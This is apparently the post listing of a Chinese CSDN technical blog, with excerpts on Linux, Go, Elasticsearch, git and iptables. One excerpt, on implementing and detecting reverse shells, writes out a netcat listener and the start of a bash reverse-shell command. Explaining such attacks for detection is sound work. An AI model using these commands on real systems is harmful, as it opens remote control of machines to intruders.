- 博客(18)
- 资源 (5)
- 收藏
- 关注
原创 2023年有关Linux的大会
Arch&虚拟化&I/O分论坛:https://live.csdn.net/room/csdnlive1/Q02dgSuj。调试/ eBPF/调度分论坛:https://live.csdn.net/room/csdnlive2/zOQlqHak。云和服务器分论坛:https://live.csdn.net/room/Hansen666666/OzVSYgu0。内存管理分论坛:https://live.csdn.net/room/wl5875/vsWNFfGP。
2023-10-31 13:19:58 112 1
原创 追踪C函数执行路径
利用gcc特性,追踪函数执行路径#include <stdio.h>#include <time.h> static FILE *fp_trace; void__attribute__((__no_instrument_function__))__attribute__ ((constructor))trace_begin (void){ fp_t...
2019-04-24 16:32:08 530
原创 基于golang的ES入门教程
插入索引:package mainimport ( "context" "fmt" "github.com/olivere/elastic")func main(){ Client, err := elastic.NewClient(elastic.SetURL("http://192.168.7.6:9200")) fmt.Println(Client, err) n...
2019-04-22 15:54:20 2149 1
原创 ES入门操作
创建索引 创建非结构的索引: 通过postman软件,执行http请求。put方法,http://192.168.7.6:9200/peoplebody如下:{ "settings": { "number_of_shards":3, "number_of_replicas":1 }} 创建结构化的索引 put方法http://192.16...
2019-04-22 11:49:46 233
原创 BGM
RealYOU&ME The Daydream亚麻色头发的少女Tavern warcraftdance of the Moon and starslove letter to youherb ohta - song for anna德彪西-月光石进-夜的钢琴曲Ei Condor Pasabamboo dance 竹舞Bandari-The Foggy Dew(迷雾水珠...
2019-04-22 10:18:38 850
原创 linux迁移
Linux installation migrate , copyrsync aAXv /* /path/to/backup/folder exclude={/dev/*,/proc/*,/sys/*,/tmp/*,/run/*,/mnt/*,/media/*,/lost+found}
2019-04-22 10:17:09 293
原创 LINUX 配置,.bashrc
LINUX 配置# define environments for all usersexport PATH=$PATH:/opt/usr/binexport HISTFILESIZE=10000export HISTSIZE=2000PS1='`basename \w`\$ 'export RAMDISK="/mnt/RAMDISK"# java setupexport...
2019-04-22 10:10:45 503
原创 git常用操作
Git undo changes before commitgit reset --hard HEADgit remote add origin https://github.com/915086731/disksim.gitgit config --global user.name "evan"git exclude file*!*/!*.c...
2019-04-22 10:08:30 119
原创 英语好句摘抄
动词对应语句:产生Hardware raises a few questions.包括In digital signal processing, data compression, source coding, or bit-rate reduction involves encoding information using fewer bits than the origin...
2019-04-22 10:05:41 424
原创 go的数组子串改变会影响父串
func main() { a := []byte{1, 5, 3, 6, 58} //a := [...]byte{1, 5, 3, 6, 58} fmt.Println(a) b := a[2:4] fmt.Println(b) b[0] = 66 fmt.Println(a) fmt.Println(b)}结果如下:test$ go run test.go[...
2019-04-12 11:52:24 91
原创 Iptables使用小结
限速sudo iptables -I OUTPUT -d 192.168.7.6 -m limit --limit=1/s --limit-burst=1 -j ACCEPTsudo iptables -A OUTPUT -d 192.168.7.6 -j DROP
2019-04-11 18:27:21 146
原创 Shell读取进程信息
for i in `ls /proc/*/ -d`;do pid=`basename $i`; echo $pid | grep -Eq '^[+-]?[0-9]+$' if [ $? -ne 0 ]; then continue fi echo $pid cat /proc/$pid/status | head -n...
2019-04-04 11:22:06 297
原创 C语言环境读取/proc目录的进程信息
通过/proc目录可以获取所有的进程信息。需要注意的是 readlink系统调用不会追加0到字符串结尾,并且字符串的最大长度需要时读取长度+1,便于添加0结束字符串。#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#inclu...
2019-04-04 11:19:51 4191 2
转载 Go语言下的多态
文章节选自《Go语言实战》多态现在了解了接口和方法集背后的机制,最后来看一个展示接口的多态行为的例子,如代码所示。01 // 这个示例程序使用接口展示多态行为02 package main0304 import (05 "fmt"06 )0708 // notifier 是一个定义了09 // 通知类行为的接口10 type notifier interface {...
2019-02-02 18:29:04 740
原创 go语言下的RPC代码示例,基于开源项目rpcx
server端,提供远程计算服务:package mainimport "context"import "github.com/smallnest/rpcx/server"type Args struct { A int B int}type Reply struct { C int}type Arith intfunc (t *Arith)...
2019-01-22 11:34:37 1431
原创 go语言下的包名和目录名的对应关系
话不多说,看代码:目录结构如下,顶层文件test.go,有两个子目录,pp和pd。├── pd│ └── pa.go├── pp│ └── pa.go└── test.gotest.go的内容如下:package mainimport ( "fmt" "pp" pd "pd")func main(){ fmt.Prin...
2019-01-21 22:48:28 3681 2
原创 反弹shell的实现方式和检测方法
我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。现在针对一些网络上反弹shell实例作说明: 反弹shell现在针对一些网络上反弹shell实例作说明:实例1,Bash反弹:Bash反弹,远程主机监听端口:nc -lvp 7777被入侵的机器反弹shell命令如下:bash -i >&am...
2018-12-25 13:20:43 4414
原创 Linux kernel下的内核socket编程
内核4版本下测试通过,引用了高手的代码,做了修改,避免崩溃:https://www.linuxquestions.org/questions/blog/915086731-521769/implementation-of-server-client-socket-under-kernel-environment-37716/server:#include<linux/in.h> #...
2018-04-11 17:02:44 3635 1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人